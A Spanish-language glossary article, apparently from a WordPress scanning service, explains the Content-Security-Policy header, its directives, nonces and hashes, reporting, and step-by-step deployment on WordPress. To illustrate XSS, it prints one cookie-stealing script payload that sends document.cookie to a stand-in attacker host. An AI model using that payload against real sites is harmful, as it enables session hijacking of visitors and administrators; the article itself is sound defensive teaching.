Glosario

¿Qué es Content-Security-Policy (CSP)?

8 de febrero de 2026 Actualizado el 19 abr 2026

Content-Security-Policy (CSP) es una cabecera de respuesta HTTP que te ofrece un control muy preciso sobre qué recursos puede cargar el navegador en tu página. Esto incluye scripts, hojas de estilo, imágenes, fuentes, iframes y más. CSP está ampliamente considerada una de las defensas más eficaces frente a ataques de Cross-Site Scripting (XSS), que siguen siendo de las vulnerabilidades más frecuentes en la web.

Si gestionas un sitio WordPress, CSP es especialmente relevante porque los sitios WordPress suelen cargar recursos desde muchas fuentes distintas: tu propio servidor, CDNs, proveedores de analítica, servicios de fuentes, redes publicitarias y todo lo que añadan tus plugins y tu tema. CSP te permite definir exactamente cuáles de esas fuentes están permitidas.

Cómo funciona un ataque de Cross-Site Scripting (XSS)

Para entender por qué CSP importa, ayuda ver qué previene. Aquí tienes un ejemplo concreto de cómo puede desarrollarse un ataque XSS en un sitio WordPress:

Supongamos que tu sitio tiene un formulario de comentarios y la sanitización de comentarios tiene un fallo (ya sea en el núcleo de WordPress, en un plugin o en una función personalizada del tema). Un atacante envía un comentario con este fragmento:

<script>document.location='https://evil.com/steal?c='+document.cookie</script>

Si este script se renderiza en la página sin un escape adecuado, el navegador de cada visitante que vea ese comentario ejecutará este código. Envía sus cookies de sesión al servidor del atacante. Con esas cookies, el atacante puede iniciar sesión como la víctima, incluso como administrador si un admin ve el comentario.

Con una CSP correctamente configurada, este ataque falla. El navegador comprueba el script frente a la política y descubre que los scripts inline no están permitidos (a menos que se autoricen explícitamente). El script se bloquea, y el navegador registra una violación en lugar de ejecutar el código.

Sintaxis de la cabecera CSP y directivas comunes

Una cabecera CSP consta de directivas, cada una especificando qué fuentes están permitidas para un tipo concreto de recurso. Aquí tienes un ejemplo:

Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self' https://fonts.gstatic.com; connect-src 'self' https://api.example.com

Vamos a desglosar las directivas más importantes:

  • default-src: la política por defecto para cualquier tipo de recurso que no tenga su propia directiva. Si configuras default-src 'self', solo se permiten recursos de tu propio dominio por defecto.
  • script-src: controla qué orígenes de JavaScript están permitidos. Es la directiva más crítica para la seguridad porque los scripts tienen acceso completo al DOM y a las cookies de la página.
  • style-src: controla qué orígenes de CSS están permitidos. Suele necesitar 'unsafe-inline' en sitios WordPress porque muchos plugins y temas inyectan estilos inline.
  • img-src: controla qué orígenes de imágenes están permitidos. El valor data: permite imágenes inline en base64, que algunos plugins utilizan.
  • font-src: controla desde dónde se pueden cargar las fuentes. Si usas Google Fonts, debes autorizar https://fonts.gstatic.com.
  • connect-src: controla a qué URLs se puede acceder mediante AJAX, Fetch API o conexiones WebSocket. Importante para sitios que usan APIs REST o servicios externos.
  • frame-src: controla qué orígenes pueden incrustarse en iframes en tu página. Relevante si incrustas vídeos de YouTube, Google Maps u otros widgets de terceros.
  • frame-ancestors: controla qué sitios pueden incrustar tu página en un iframe. Es el equivalente en CSP de X-Frame-Options (consulta KB-3).
  • base-uri: restringe qué URLs pueden usarse en el elemento <base>. Establecerlo a 'self' evita que los atacantes cambien la URL base de tu página.
  • form-action: restringe a dónde pueden enviar datos los formularios de tu página. Esto puede prevenir ataques de phishing en los que un atacante modifica la URL de destino de un formulario.

Whitelisting de scripts basado en nonce o en hash

Bloquear todos los scripts inline es el enfoque ideal, pero a veces los scripts inline son necesarios. CSP ofrece dos alternativas seguras al uso de 'unsafe-inline':

Whitelisting basado en nonce funciona generando un token aleatorio único en cada carga de página. Añades este nonce tanto a la cabecera CSP como a las etiquetas script:

Content-Security-Policy: script-src 'nonce-abc123random'
<script nonce="abc123random">
  // Este script se ejecutará porque el nonce coincide
</script>

El nonce debe ser distinto en cada carga de página. Un atacante que inyecte un script no puede conocer el nonce actual, por lo que su script queda bloqueado. Este enfoque funciona bien cuando controlas la salida HTML y puedes añadir nonces de forma dinámica.

Whitelisting basado en hash utiliza un hash criptográfico del contenido del script:

Content-Security-Policy: script-src 'sha256-B2yPHKaXnvFWtRChIbabYmUBFZdVfKKXHbWtWidDVF8='

El navegador calcula el hash de cada script inline y lo coteja con los hashes permitidos. Esto resulta útil para scripts inline estáticos que no cambian entre cargas de página.

Monitorización con las directivas de reporting de CSP

CSP incluye capacidades de informe integradas que te permiten supervisar las violaciones sin romper tu sitio:

La directiva report-uri (más antigua, todavía ampliamente compatible) envía informes de violaciones a un endpoint determinado:

Content-Security-Policy: default-src 'self'; report-uri /csp-report-endpoint

La directiva más reciente report-to funciona con la Reporting API y ofrece más flexibilidad:

Content-Security-Policy: default-src 'self'; report-to csp-endpoint
Report-To: {"group":"csp-endpoint","max_age":10886400,"endpoints":[{"url":"https://tusitio.com/csp-reports"}]}

Varios servicios de terceros como Report URI, Sentry y Datadog pueden recopilar y visualizar informes de CSP por ti, lo cual es muy útil al desplegar una nueva política.

Pruebas con Content-Security-Policy-Report-Only

Aquí es donde la mayoría debería empezar. La cabecera Content-Security-Policy-Report-Only se comporta exactamente igual que la cabecera CSP normal, pero en lugar de bloquear las violaciones, solo las reporta. Realmente no se bloquea nada; el navegador simplemente registra lo que se habría bloqueado.

Content-Security-Policy-Report-Only: default-src 'self'; script-src 'self'; report-uri /csp-report-endpoint

Esto te permite ver exactamente qué recursos de tu sitio se verían afectados por una política CSP antes de aplicarla. Puedes revisar la consola de desarrollo del navegador para ver los mensajes de violación de CSP, o recopilar informes estructurados a través de los endpoints de reporting.

Por qué CSP es complicada en sitios WordPress

WordPress y CSP tienen una relación complicada. El reto principal es que WordPress y su ecosistema fueron diseñados antes de que existiera CSP, y muchos patrones habituales chocan con políticas CSP estrictas:

  • Scripts inline: el núcleo de WordPress, WooCommerce y muchos plugins populares inyectan JavaScript inline. Una política script-src estricta sin 'unsafe-inline' los romperá.
  • Estilos inline: muchos plugins y page builders (Elementor, Divi, WPBakery) generan CSS inline. El Customizer también inyecta estilos inline. Esto suele obligarte a usar 'unsafe-inline' en style-src.
  • Uso de eval(): algunos plugins usan eval() o new Function(), lo cual requiere 'unsafe-eval' en script-src. Esto debilita significativamente la protección.
  • Recursos de terceros: scripts de analítica (Google Analytics, Matomo), fuentes (Google Fonts), CDNs, embeds de redes sociales y scripts publicitarios deben ser todos autorizados explícitamente.
  • Actualizaciones de plugins: una actualización de un plugin podría cargar de repente recursos desde un nuevo dominio, rompiendo tu CSP sin previo aviso.

Para una implementación práctica de CSP en WordPress, la mayoría de propietarios acaba con una política que permite 'unsafe-inline' para estilos pero restringe los scripts y otros recursos en la medida de lo posible. Es un compromiso razonable que aún proporciona una protección significativa.

Pasos prácticos para añadir CSP a WordPress

Aquí tienes un enfoque paso a paso que funciona en la práctica:

  1. Empieza con Content-Security-Policy-Report-Only configurado a default-src 'self' y un endpoint de reporting.
  2. Navega tu sitio a fondo y revisa los informes de violaciones. Anota cada recurso bloqueado.
  3. Añade los dominios fuente necesarios a tus directivas de política uno por uno.
  4. Prueba toda la funcionalidad crítica: inicio de sesión, checkout (si usas WooCommerce), formularios, panel de administración.
  5. Una vez que la política report-only no muestre más violaciones durante el uso normal, cambia a la cabecera Content-Security-Policy en modo aplicación.
  6. Mantén el endpoint de reporting activo incluso después de aplicar la política, para detectar nuevas violaciones provenientes de actualizaciones de plugins o cambios de contenido.

Qué comprueba InspectWP

InspectWP comprueba si tu sitio envía una cabecera Content-Security-Policy. Si está ausente, el informe señala que tu sitio no cuenta con protección CSP frente a XSS y otros ataques de inyección. Si hay una política presente, InspectWP muestra la cadena completa de la política para que puedas revisarla. Ten en cuenta que tener una cabecera CSP con directivas demasiado permisivas (como default-src * o script-src 'unsafe-inline' 'unsafe-eval') proporciona muy poca protección real.

Analiza tu sitio de WordPress ahora

InspectWP analiza tu sitio de WordPress en busca de problemas de seguridad, SEO, cumplimiento del RGPD y rendimiento, gratis.

Analiza tu sitio gratis